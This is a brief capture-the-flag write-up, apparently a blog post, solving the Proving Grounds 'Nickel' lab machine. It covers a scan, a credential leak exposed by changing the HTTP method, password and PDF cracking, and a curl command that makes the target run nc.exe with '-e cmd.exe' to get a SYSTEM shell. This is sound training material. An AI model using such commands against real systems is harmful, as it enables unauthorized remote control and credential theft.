Proving Grounds Practice — Nickel — giselle

Proving Grounds Practice: Nickel

Hello, today I’ll talk about the solution of Proving Grounds Practice’s Nickel machine.

First, we run an Nmap scan.

When we examined the website on port 80, we encountered a screen as follows.

When we examined the website on port 33333, we encountered a screen as follows.

When we examined the website on port 8089, we encountered a screen as follows.

In the page source, we find paths that point to port 33333 on a different IP address. Then we tried to go to these pages with our own IP address. We noticed that we could not navigate to the relevant list-running-procs directory with a GET request.

When we sent the request again by changing the method with Burp Suite, we encountered ssh login information. We have decoded the password with base64 and obtained it.

Using those credentials on FTP, we retrieve a password-protected PDF. We crack it with pdf2john and john. And he gave us various information in the pdf document.

When we run the whoami command in the command enpoint, we noticed that there is nt authority / system on port 80.

We transfer nc.exe to the machine via the SSH connection.

We performed listening with netcat on one of two separate ssh connections. In the other, we ran the command to run the nc exe over port 80 with curl.

curl http://nickel/?cmd%20%2Fc%20C%3A%5CUsers%5Cariah%5Cnc.exe%20127.0.0.1%204444%20-e%20cmd.exe We now have NT AUTHORITY\SYSTEM. We can get our proof.txt file.

We find our flag and complete the challenge. Keep hacking !

Practice makes perfect :)